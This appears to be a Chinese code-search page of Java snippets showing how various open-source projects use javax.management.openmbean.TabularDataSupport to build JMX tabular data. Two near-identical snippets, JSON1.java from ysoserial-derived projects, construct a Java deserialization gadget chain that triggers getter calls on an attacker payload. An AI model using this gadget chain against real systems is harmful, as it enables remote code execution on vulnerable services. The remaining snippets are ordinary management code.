java类javax.management.openmbean.TabularDataSupport的实例源码

AbstractGuavaCacheMBean.java 文件源码 项目:acs-aem-commons 阅读 25 收藏 0 点赞 0 评论 0
@Override
public final TabularData getCacheContents() throws OpenDataException {
    final CompositeType cacheEntryType = getCacheEntryType();

    final TabularDataSupport tabularData = new TabularDataSupport(
            new TabularType("Cache Entries", "Cache Entries", cacheEntryType, new String[] { "Cache Key" }));

    ConcurrentMap<K, V> cacheAsMap = getCache().asMap();
    for (final Map.Entry<K, V> entry : cacheAsMap.entrySet()) {
        final Map<String, Object> data = new HashMap<String, Object>();
        data.put("Cache Key", entry.getKey().toString());

        V cacheObj = entry.getValue();
        if (cacheObj != null) {
            addCacheData(data, cacheObj);
        }

        tabularData.put(new CompositeDataSupport(cacheEntryType, data));
    }

    return tabularData;
}
APIStatisticsOpenMBean.java 文件源码 项目:discoursedb-core 阅读 30 收藏 0 点赞 0 评论 0
public synchronized TabularDataSupport getStatistics() {
    TabularDataSupport apiStatisticsTable = new TabularDataSupport(API_STATISTICS_TYPE);

    for (InvocationStatistics methodStats : API_STATISTICS.getInvocationStatistics()) {
        Object[] itemValues = {methodStats.getName(),
                methodStats.getCallCount(),
                methodStats.getErrorCount(),
                methodStats.getTotalTime(),
                methodStats.getAverageTime()};

        try {
            CompositeData result = new CompositeDataSupport(METHOD_STATS_TYPE,
                    ITEM_NAMES,
                    itemValues);
            apiStatisticsTable.put(result);
        } catch (OpenDataException e) {
            throw new RuntimeException(e);
        }

    }

    return apiStatisticsTable;
}
ManagedInflightRepository.java 文件源码 项目:Camel 阅读 24 收藏 0 点赞 0 评论 0
@Override
public TabularData browse(String routeId, int limit, boolean sortByLongestDuration) {
    try {
        TabularData answer = new TabularDataSupport(CamelOpenMBeanTypes.listInflightExchangesTabularType());
        Collection<InflightRepository.InflightExchange> exchanges = inflightRepository.browse(routeId, limit, sortByLongestDuration);

        for (InflightRepository.InflightExchange entry : exchanges) {
            CompositeType ct = CamelOpenMBeanTypes.listInflightExchangesCompositeType();
            String exchangeId = entry.getExchange().getExchangeId();
            String fromRouteId = entry.getFromRouteId();
            String atRouteId = entry.getAtRouteId();
            String nodeId = entry.getNodeId();
            String elapsed = "" + entry.getElapsed();
            String duration = "" + entry.getDuration();

            CompositeData data = new CompositeDataSupport(ct,
                    new String[]{"exchangeId", "fromRouteId", "routeId", "nodeId", "elapsed", "duration"},
                    new Object[]{exchangeId, fromRouteId, atRouteId, nodeId, elapsed, duration});
            answer.put(data);
        }
        return answer;
    } catch (Exception e) {
        throw ObjectHelper.wrapRuntimeCamelException(e);
    }
}
ManagedSendProcessor.java 文件源码 项目:Camel 阅读 27 收藏 0 点赞 0 评论 0
@Override
public TabularData extendedInformation() {
    try {
        TabularData answer = new TabularDataSupport(CamelOpenMBeanTypes.endpointsUtilizationTabularType());

        // we only have 1 endpoint

        CompositeType ct = CamelOpenMBeanTypes.endpointsUtilizationCompositeType();
        String url = getDestination();
        Long hits = processor.getCounter();

        CompositeData data = new CompositeDataSupport(ct, new String[]{"url", "hits"}, new Object[]{url, hits});
        answer.put(data);
        return answer;
    } catch (Exception e) {
        throw ObjectHelper.wrapRuntimeCamelException(e);
    }
}
ManagedEndpointRegistry.java 文件源码 项目:Camel 阅读 23 收藏 0 点赞 0 评论 0
@SuppressWarnings("unchecked")
public TabularData listEndpoints() {
    try {
        TabularData answer = new TabularDataSupport(CamelOpenMBeanTypes.listEndpointsTabularType());
        Collection<Endpoint> endpoints = endpointRegistry.values();
        for (Endpoint endpoint : endpoints) {
            CompositeType ct = CamelOpenMBeanTypes.listEndpointsCompositeType();
            String url = endpoint.getEndpointUri();
            if (sanitize) {
                url = URISupport.sanitizeUri(url);
            }

            boolean fromStatic = endpointRegistry.isStatic(url);
            boolean fromDynamic = endpointRegistry.isDynamic(url);

            CompositeData data = new CompositeDataSupport(ct, new String[]{"url", "static", "dynamic"}, new Object[]{url, fromStatic, fromDynamic});
            answer.put(data);
        }
        return answer;
    } catch (Exception e) {
        throw ObjectHelper.wrapRuntimeCamelException(e);
    }
}
ManagedAsyncProcessorAwaitManager.java 文件源码 项目:Camel 阅读 23 收藏 0 点赞 0 评论 0
@Override
public TabularData browse() {
    try {
        TabularData answer = new TabularDataSupport(CamelOpenMBeanTypes.listAwaitThreadsTabularType());
        Collection<AsyncProcessorAwaitManager.AwaitThread> threads = manager.browse();
        for (AsyncProcessorAwaitManager.AwaitThread entry : threads) {
            CompositeType ct = CamelOpenMBeanTypes.listAwaitThreadsCompositeType();
            String id = "" + entry.getBlockedThread().getId();
            String name = entry.getBlockedThread().getName();
            String exchangeId = entry.getExchange().getExchangeId();
            String routeId = entry.getRouteId();
            String nodeId = entry.getNodeId();
            String duration = "" + entry.getWaitDuration();

            CompositeData data = new CompositeDataSupport(ct,
                    new String[]{"id", "name", "exchangeId", "routeId", "nodeId", "duration"},
                    new Object[]{id, name, exchangeId, routeId, nodeId, duration});
            answer.put(data);
        }
        return answer;
    } catch (Exception e) {
        throw ObjectHelper.wrapRuntimeCamelException(e);
    }
}
ManagedTypeConverterRegistry.java 文件源码 项目:Camel 阅读 28 收藏 0 点赞 0 评论 0
public TabularData listTypeConverters() {
    try {
        TabularData answer = new TabularDataSupport(CamelOpenMBeanTypes.listTypeConvertersTabularType());
        List<Class<?>[]> converters = registry.listAllTypeConvertersFromTo();
        for (Class<?>[] entry : converters) {
            CompositeType ct = CamelOpenMBeanTypes.listTypeConvertersCompositeType();
            String from = entry[0].getCanonicalName();
            String to = entry[1].getCanonicalName();
            CompositeData data = new CompositeDataSupport(ct, new String[]{"from", "to"}, new Object[]{from, to});
            answer.put(data);
        }
        return answer;
    } catch (Exception e) {
        throw ObjectHelper.wrapRuntimeCamelException(e);
    }
}
ManagedCamelContext.java 文件源码 项目:Camel 阅读 20 收藏 0 点赞 0 评论 0
public TabularData listEips() throws Exception {
    try {
        // find all EIPs
        Map<String, Properties> eips = context.findEips();

        TabularData answer = new TabularDataSupport(CamelOpenMBeanTypes.listEipsTabularType());

        // gather EIP detail for each eip
        for (Map.Entry<String, Properties> entry : eips.entrySet()) {
            String name = entry.getKey();
            String title = (String) entry.getValue().get("title");
            String description = (String) entry.getValue().get("description");
            String label = (String) entry.getValue().get("label");
            String type = (String) entry.getValue().get("class");
            String status = CamelContextHelper.isEipInUse(context, name) ? "in use" : "on classpath";
            CompositeType ct = CamelOpenMBeanTypes.listEipsCompositeType();
            CompositeData data = new CompositeDataSupport(ct, new String[]{"name", "title", "description", "label", "status", "type"},
                    new Object[]{name, title, description, label, status, type});
            answer.put(data);
        }
        return answer;
    } catch (Exception e) {
        throw ObjectHelper.wrapRuntimeCamelException(e);
    }
}
FailureDetector.java 文件源码 项目:scylla-jmx 阅读 26 收藏 0 点赞 0 评论 0
@Override
public TabularData getPhiValues() throws OpenDataException {
    final CompositeType ct = new CompositeType("Node", "Node", new String[] { "Endpoint", "PHI" },
            new String[] { "IP of the endpoint", "PHI value" },
            new OpenType[] { SimpleType.STRING, SimpleType.DOUBLE });
    final TabularDataSupport results = new TabularDataSupport(
            new TabularType("PhiList", "PhiList", ct, new String[] { "Endpoint" }));
    final JsonArray arr = client.getJsonArray("/failure_detector/endpoint_phi_values");

    for (JsonValue v : arr) {
        JsonObject o = (JsonObject) v;
        String endpoint = o.getString("endpoint");
        double phi = Double.parseDouble(o.getString("phi"));

        if (phi != Double.MIN_VALUE) {
            // returned values are scaled by PHI_FACTOR so that the are on
            // the same scale as PhiConvictThreshold
            final CompositeData data = new CompositeDataSupport(ct, new String[] { "Endpoint", "PHI" },
                    new Object[] { endpoint, phi * PHI_FACTOR });
            results.put(data);
        }
    }

    return results;
}
JmxResultProcessor.java 文件源码 项目:graylog-plugin-input-jmx 阅读 18 收藏 0 点赞 0 评论 0
/**
 * Populates the Result objects. This is a recursive function. Query
 * contains the keys that we want to get the values of.
 */
private void getResult(Builder<Result> accumulator, String attributeName, CompositeData cds) {
    CompositeType t = cds.getCompositeType();

    Map<String, Object> values = newHashMap();

    Set<String> keys = t.keySet();
    for (String key : keys) {
        Object value = cds.get(key);
        if (value instanceof TabularDataSupport) {
            TabularDataSupport tds = (TabularDataSupport) value;
            processTabularDataSupport(accumulator, attributeName + SEPERATOR + key, tds);
            values.put(key, value);
        } else if (value instanceof CompositeDataSupport) {
            // now recursively go through everything.
            CompositeDataSupport cds2 = (CompositeDataSupport) value;
            getResult(accumulator, attributeName, cds2);
            return; // because we don't want to add to the list yet.
        } else {
            values.put(key, value);
        }
    }
    Result r = getNewResultObject(attributeName, values);
    accumulator.add(r);
}
JmxInProgressMonitor.java 文件源码 项目:parfait 阅读 22 收藏 0 点赞 0 评论 0
@Override
public TabularData apply(InProgressSnapshot from) {
    List<OpenType<?>> types = Lists.transform(from.getColumnClasses(), CLASS_TO_OPENTYPE);

    CompositeType rowType;
    try {
        int columnCount = from.getColumnCount();
        rowType = new CompositeType("Snapshot row", "Snapshot row", from.getColumnNames()
                .toArray(new String[columnCount]), from.getColumnDescriptions().toArray(
                new String[columnCount]), types.toArray(new OpenType<?>[columnCount]));
        TabularType type = new TabularType("Snapshot", "Snapshot", rowType,
                new String[] { "Thread name" });
        TabularData data = new TabularDataSupport(type);

        for (Map<String, Object> dataRow : from.getValues()) {
            CompositeData row = new CompositeDataSupport(rowType, dataRow);
            data.put(row);
        }
        return data;
    } catch (OpenDataException e) {
        throw new RuntimeException(e);
    }
}
JMXUtils.java 文件源码 项目:bagri 阅读 28 收藏 0 点赞 0 评论 0
/**
    * Aggregates two tabular structures into one. 
    * 
    * @param source the source tabular
    * @param target the target tabular
    * @param aggregator the aggregator which will perform data aggregation 
    * @return the aggregated tabular structure
    */
@SuppressWarnings({ "rawtypes", "unchecked" })
public static TabularData aggregateStats(TabularData source, TabularData target, StatsAggregator aggregator) {
       logger.debug("aggregateStats.enter; got source: {}", source);
       if (source == null) {
        return target;
       }
    TabularData result = new TabularDataSupport(source.getTabularType());
       Set<List> keys = (Set<List>) source.keySet();
    if (target == null) {
        return source;
    } else {
            for (List key: keys) {
                Object[] index = key.toArray();
                CompositeData aggr = aggregateStats(source.get(index), target.get(index), aggregator);
                result.put(aggr);
        }
    }
       logger.debug("aggregateStats.exit; returning: {}", result);
    return result;
}
OperationTabControl.java 文件源码 项目:andes 阅读 20 收藏 0 点赞 0 评论 0
private List<String> extractUserList(Object result)
{
    if (!(result instanceof TabularDataSupport))
    {
        return null;
    }

    TabularDataSupport tabularData = (TabularDataSupport)result;
    Collection<Object> records = tabularData.values();
    List<String> list = new ArrayList<String>();
    for (Object o : records)
    {
        CompositeData data = (CompositeData) o;
        if (data.containsKey(USERNAME))
        {
            list.add(data.get(USERNAME).toString());
        }
    }

    return list;
}
AMQProtocolSessionMBean.java 文件源码 项目:andes 阅读 22 收藏 0 点赞 0 评论 0
/**
 * Creates the list of channels in tabular form from the _channelMap.
 *
 * @return list of channels in tabular form.
 * @throws OpenDataException
 */
public TabularData channels() throws OpenDataException
{
    TabularDataSupport channelsList = new TabularDataSupport(_channelsType);
    List<AMQChannel> list = _protocolSession.getChannels();

    for (AMQChannel channel : list)
    {
        Object[] itemValues =
            {
                channel.getChannelId(), channel.isTransactional(),
                (channel.getDefaultQueue() != null) ? channel.getDefaultQueue().getNameShortString().asString() : null,
                channel.getUnacknowledgedMessageMap().size(), channel.getBlocking()
            };

        CompositeData channelData = new CompositeDataSupport(_channelType, 
                COMPOSITE_ITEM_NAMES_DESC.toArray(new String[COMPOSITE_ITEM_NAMES_DESC.size()]), itemValues);
        channelsList.put(channelData);
    }

    return channelsList;
}
VMMonitor.java 文件源码 项目:freeVM 阅读 18 收藏 0 点赞 0 评论 0
/**
 * 
 * @return
 * @throws ControllerOperationException
 */
public Hashtable getSystemProperties() throws ControllerOperationException {
    try {
        Hashtable table = new Hashtable();
        TabularDataSupport tds = (TabularDataSupport) con.getAttribute(
                new ObjectName(ManagementFactory.RUNTIME_MXBEAN_NAME), 
                "SystemProperties");

        for (Iterator it = tds.values().iterator(); it.hasNext(); ) {
            CompositeDataSupport cds = (CompositeDataSupport) it.next();
            Collection col = (Collection) cds.values();

            for (Iterator iter = col.iterator(); iter.hasNext(); ) {
                table.put(iter.next(), iter.next());
            }
        }

        return table;
    } catch(Exception e) {
        ControllerOperationException coe = new ControllerOperationException(
                e.getMessage());
        coe.initCause(e);
        throw coe;
    }
}
LocalMBeanServer.java 文件源码 项目:tomee 阅读 15 收藏 0 点赞 0 评论 0
public static TabularData tabularData(final String typeName, final String typeDescription, final String[] names, final Object[] values) {
    if (names.length == 0) {
        return null;
    }

    final OpenType<?>[] types = new OpenType<?>[names.length];
    for (int i = 0; i < types.length; i++) {
        types[i] = SimpleType.STRING;
    }

    try {
        final CompositeType ct = new CompositeType(typeName, typeDescription, names, names, types);
        final TabularType type = new TabularType(typeName, typeDescription, ct, names);
        final TabularDataSupport data = new TabularDataSupport(type);

        final CompositeData line = new CompositeDataSupport(ct, names, values);
        data.put(line);

        return data;
    } catch (final OpenDataException e) {
        return null;
    }
}
DynamicMBeanWrapper.java 文件源码 项目:deltaspike 阅读 15 收藏 0 点赞 0 评论 0
private TabularData toTabularData(final String typeName, final String description, final Table table)
{
    final OpenType<?>[] types = new OpenType<?>[table.getColumnNames().size()];
    for (int i = 0; i < types.length; i++)
    {
        types[i] = SimpleType.STRING;
    }

    try
    {
        final String[] keys = table.getColumnNames().toArray(new String[table.getColumnNames().size()]);
        final CompositeType ct = new CompositeType(
                typeName, description, keys, keys, types);
        final TabularType type = new TabularType(typeName, description, ct, keys);
        final TabularDataSupport data = new TabularDataSupport(type);
        for (final Collection<String> line : table.getLines())
        {
            data.put(new CompositeDataSupport(ct, keys, line.toArray(new Object[line.size()])));
        }
        return data;
    }
    catch (final OpenDataException e)
    {
        throw new IllegalArgumentException(e);
    }
}
JSON1.java 文件源码 项目:APacheSynapseSimplePOC 阅读 25 收藏 0 点赞 0 评论 0
/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] {
        "a"
    }, new String[] {
        "a"
    }, new OpenType[] {
        javax.management.openmbean.SimpleType.INTEGER
    });
    TabularType tt = new TabularType("a", "b", rt, new String[] {
        "a"
    });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);

    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
            .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
    invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
    invocationHandler.setDefaultHandler(delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}
JobDetailSupport.java 文件源码 项目:lams 阅读 26 收藏 0 点赞 0 评论 0
public static TabularData toTabularData(JobDetail[] jobDetails) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    if (jobDetails != null) {
        ArrayList<CompositeData> list = new ArrayList<CompositeData>();
        for (JobDetail jobDetail : jobDetails) {
            list.add(toCompositeData(jobDetail));
        }
        tData.putAll(list.toArray(new CompositeData[list.size()]));
    }
    return tData;
}
CronTriggerSupport.java 文件源码 项目:lams 阅读 25 收藏 0 点赞 0 评论 0
public static TabularData toTabularData(List<? extends CronTrigger> triggers) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    if (triggers != null) {
        ArrayList<CompositeData> list = new ArrayList<CompositeData>();
        for (CronTrigger trigger : triggers) {
            list.add(toCompositeData(trigger));
        }
        tData.putAll(list.toArray(new CompositeData[list.size()]));
    }
    return tData;
}
SimpleTriggerSupport.java 文件源码 项目:lams 阅读 25 收藏 0 点赞 0 评论 0
public static TabularData toTabularData(List<? extends SimpleTrigger> triggers) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    if (triggers != null) {
        ArrayList<CompositeData> list = new ArrayList<CompositeData>();
        for (SimpleTrigger trigger : triggers) {
            list.add(toCompositeData(trigger));
        }
        tData.putAll(list.toArray(new CompositeData[list.size()]));
    }
    return tData;
}
JobDataMapSupport.java 文件源码 项目:lams 阅读 18 收藏 0 点赞 0 评论 0
/**
 * @param jobDataMap
 * @return TabularData
 */
public static TabularData toTabularData(JobDataMap jobDataMap) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    ArrayList<CompositeData> list = new ArrayList<CompositeData>();
    Iterator<String> iter = jobDataMap.keySet().iterator();
    while (iter.hasNext()) {
        String key = iter.next();
        list.add(toCompositeData(key, String.valueOf(jobDataMap.get(key))));
    }
    tData.putAll(list.toArray(new CompositeData[list.size()]));
    return tData;
}
JobExecutionContextSupport.java 文件源码 项目:lams 阅读 33 收藏 0 点赞 0 评论 0
/**
 * @return array of region statistics
 */
public static TabularData toTabularData(
        final List<JobExecutionContext> executingJobs)
        throws SchedulerException {
    List<CompositeData> list = new ArrayList<CompositeData>();
    for (JobExecutionContext executingJob : executingJobs) {
        list.add(toCompositeData(executingJob));
    }
    TabularData td = new TabularDataSupport(TABULAR_TYPE);
    td.putAll(list.toArray(new CompositeData[list.size()]));
    return td;
}
TriggerSupport.java 文件源码 项目:lams 阅读 26 收藏 0 点赞 0 评论 0
public static TabularData toTabularData(List<? extends Trigger> triggers) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    if (triggers != null) {
        ArrayList<CompositeData> list = new ArrayList<CompositeData>();
        for (Trigger trigger : triggers) {
            list.add(toCompositeData(trigger));
        }
        tData.putAll(list.toArray(new CompositeData[list.size()]));
    }
    return tData;
}
JobDetailSupport.java 文件源码 项目:asura 阅读 26 收藏 0 点赞 0 评论 0
public static TabularData toTabularData(JobDetail[] jobDetails) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    if (jobDetails != null) {
        ArrayList<CompositeData> list = new ArrayList<CompositeData>();
        for (JobDetail jobDetail : jobDetails) {
            list.add(toCompositeData(jobDetail));
        }
        tData.putAll(list.toArray(new CompositeData[list.size()]));
    }
    return tData;
}
JobDataMapSupport.java 文件源码 项目:asura 阅读 21 收藏 0 点赞 0 评论 0
/**
 * @param jobDataMap
 * @return TabularData
 */
public static TabularData toTabularData(JobDataMap jobDataMap) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    ArrayList<CompositeData> list = new ArrayList<CompositeData>();
    Iterator<String> iter = jobDataMap.keySet().iterator();
    while (iter.hasNext()) {
        String key = iter.next();
        list.add(toCompositeData(key, String.valueOf(jobDataMap.get(key))));
    }
    tData.putAll(list.toArray(new CompositeData[list.size()]));
    return tData;
}
JobExecutionContextSupport.java 文件源码 项目:asura 阅读 25 收藏 0 点赞 0 评论 0
/**
 * @param tabularData
 * @return array of region statistics
 */
public static TabularData toTabularData(
        final List<JobExecutionContext> executingJobs)
        throws SchedulerException {
    List<CompositeData> list = new ArrayList<CompositeData>();
    for (final Iterator<JobExecutionContext> iter = executingJobs
            .iterator(); iter.hasNext();) {
        list.add(toCompositeData(iter.next()));
    }
    TabularData td = new TabularDataSupport(TABULAR_TYPE);
    td.putAll(list.toArray(new CompositeData[list.size()]));
    return td;
}
TriggerSupport.java 文件源码 项目:asura 阅读 26 收藏 0 点赞 0 评论 0
public static TabularData toTabularData(Trigger[] triggers) {
    TabularData tData = new TabularDataSupport(TABULAR_TYPE);
    if (triggers != null) {
        ArrayList<CompositeData> list = new ArrayList<CompositeData>();
        for (Trigger trigger : triggers) {
            list.add(toCompositeData(trigger));
        }
        tData.putAll(list.toArray(new CompositeData[list.size()]));
    }
    return tData;
}
JSON1.java 文件源码 项目:ysoserial-modified 阅读 24 收藏 0 点赞 0 评论 0
/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] {
        "a"
    }, new String[] {
        "a"
    }, new OpenType[] {
        javax.management.openmbean.SimpleType.INTEGER
    });
    TabularType tt = new TabularType("a", "b", rt, new String[] {
        "a"
    });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);

    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
            .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
    invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
    invocationHandler.setDefaultHandler(delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}
TabularDataOrderTest.java 文件源码 项目:jdk8u-jdk 阅读 16 收藏 0 点赞 0 评论 0
private static TabularData makeTable() throws OpenDataException {
    TabularData td = new TabularDataSupport(tt);
    for (Map.Entry<String, Integer> entry : stringToValue.entrySet()) {
        CompositeData cd = new CompositeDataSupport(
                ct,
                new String[] {"name", "int"},
                new Object[] {entry.getKey(), entry.getValue()});
        td.put(cd);
    }
    return td;
}


问题


面经


文章

微信
公众号

扫码关注公众号